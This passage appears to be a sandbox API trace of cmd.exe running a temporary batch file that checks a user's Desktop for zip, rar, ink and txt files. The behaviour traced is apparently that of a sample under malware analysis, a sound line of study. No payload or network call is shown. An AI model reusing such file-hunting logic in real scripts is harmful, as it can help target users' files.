0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.487] GetProcessHeap () returned 0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.487] GetProcessHeap () returned 0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.487] GetProcessHeap () returned 0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.487] GetProcessHeap () returned 0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.487] GetProcessHeap () returned 0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.487] GetProcessHeap () returned 0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0037.487] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0037.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0037.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.488] GetFileType (hFile=0x74) returned 0x1 [0037.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0037.488] GetProcessHeap () returned 0x4e0000 [0037.488] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.488] GetProcessHeap () returned 0x4e0000 [0037.488] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.488] _tell (_FileHandle=3) returned 81 [0037.488] _close (_FileHandle=3) returned 0 [0037.488] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.488] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0037.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0037.489] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0037.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0037.489] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.489] GetFileType (hFile=0x74) returned 0x1 [0037.489] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0037.489] GetProcessHeap () returned 0x4e0000 [0037.489] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.489] GetProcessHeap () returned 0x4e0000 [0037.489] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.489] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.489] GetProcessHeap () returned 0x4e0000 [0037.489] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.489] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.489] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.489] GetProcessHeap () returned 0x4e0000 [0037.489] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.489] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.489] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.490] GetProcessHeap () returned 0x4e0000 [0037.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.490] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.490] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.490] GetProcessHeap () returned 0x4e0000 [0037.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.490] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.490] GetProcessHeap () returned 0x4e0000 [0037.490] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.490] GetProcessHeap () returned 0x4e0000 [0037.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.491] _tell (_FileHandle=3) returned 106 [0037.491] _close (_FileHandle=3) returned 0 [0037.491] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0037.491] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.491] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.491] GetLastError () returned 0x2 [0037.491] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.491] GetLastError () returned 0x6 [0037.492] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.492] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.492] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.492] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.492] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.492] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.492] SetConsoleInputExeNameW () returned 0x1 [0037.492] GetConsoleOutputCP () returned 0x1b5 [0037.493] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.493] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.493] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.493] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0037.493] GetProcessHeap () returned 0x4e0000 [0037.493] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.493] GetProcessHeap () returned 0x4e0000 [0037.493] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.493] GetProcessHeap () returned 0x4e0000 [0037.493] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.493] GetProcessHeap () returned 0x4e0000 [0037.493] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.493] GetProcessHeap () returned 0x4e0000 [0037.493] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.493] GetProcessHeap () returned 0x4e0000 [0037.494] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.494] GetProcessHeap () returned 0x4e0000 [0037.494] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.494] GetProcessHeap () returned 0x4e0000 [0037.494] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.494] GetProcessHeap () returned 0x4e0000 [0037.494] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.494] GetProcessHeap () returned 0x4e0000 [0037.494] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0037.494] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0037.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0037.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.494] GetFileType (hFile=0x74) returned 0x1 [0037.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0037.494] GetProcessHeap () returned 0x4e0000 [0037.494] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.495] GetProcessHeap () returned 0x4e0000 [0037.495] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.495] _tell (_FileHandle=3) returned 108 [0037.495] _close (_FileHandle=3) returned 0 [0037.495] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.495] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0037.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0037.495] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0037.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0037.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.496] GetFileType (hFile=0x74) returned 0x1 [0037.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0037.496] GetProcessHeap () returned 0x4e0000 [0037.496] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.496] GetProcessHeap () returned 0x4e0000 [0037.496] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.496] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.496] GetProcessHeap () returned 0x4e0000 [0037.496] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.496] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.496] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.496] GetProcessHeap () returned 0x4e0000 [0037.496] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.496] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.496] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.496] GetProcessHeap () returned 0x4e0000 [0037.496] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.496] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.496] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.496] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.496] GetProcessHeap () returned 0x4e0000 [0037.497] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.497] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.497] GetProcessHeap () returned 0x4e0000 [0037.497] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.497] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.497] GetProcessHeap () returned 0x4e0000 [0037.497] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.497] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.498] _tell (_FileHandle=3) returned 133 [0037.498] _close (_FileHandle=3) returned 0 [0037.498] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0037.498] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.498] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.498] GetLastError () returned 0x2 [0037.498] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.498] GetLastError () returned 0x6 [0037.498] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.498] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.499] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.499] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.499] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.499] SetConsoleInputExeNameW () returned 0x1 [0037.499] GetConsoleOutputCP () returned 0x1b5 [0037.499] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.499] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.500] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.500] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.500] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.500] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.500] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.500] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.500] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.500] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.500] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.500] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.500] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.500] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.500] GetProcessHeap () returned 0x4e0000 [0037.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.501] GetProcessHeap () returned 0x4e0000 [0037.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.501] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.501] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0037.501] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.501] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0037.501] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0037.501] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.501] GetFileType (hFile=0x74) returned 0x1 [0037.501] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.501] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0037.501] GetProcessHeap () returned 0x4e0000 [0037.501] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.501] GetProcessHeap () returned 0x4e0000 [0037.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.501] _tell (_FileHandle=3) returned 135 [0037.501] _close (_FileHandle=3) returned 0 [0037.502] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.502] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0037.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0037.502] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0037.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0037.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.502] GetFileType (hFile=0x74) returned 0x1 [0037.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0037.503] GetProcessHeap () returned 0x4e0000 [0037.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.503] GetProcessHeap () returned 0x4e0000 [0037.503] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.503] GetProcessHeap () returned 0x4e0000 [0037.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.503] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.503] GetProcessHeap () returned 0x4e0000 [0037.503] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.503] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.503] GetProcessHeap () returned 0x4e0000 [0037.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.503] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.503] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.503] GetProcessHeap () returned 0x4e0000 [0037.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.503] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.503] GetProcessHeap () returned 0x4e0000 [0037.503] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.504] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.504] GetProcessHeap () returned 0x4e0000 [0037.504] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.504] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.504] _tell (_FileHandle=3) returned 160 [0037.505] _close (_FileHandle=3) returned 0 [0037.505] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0037.505] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.505] 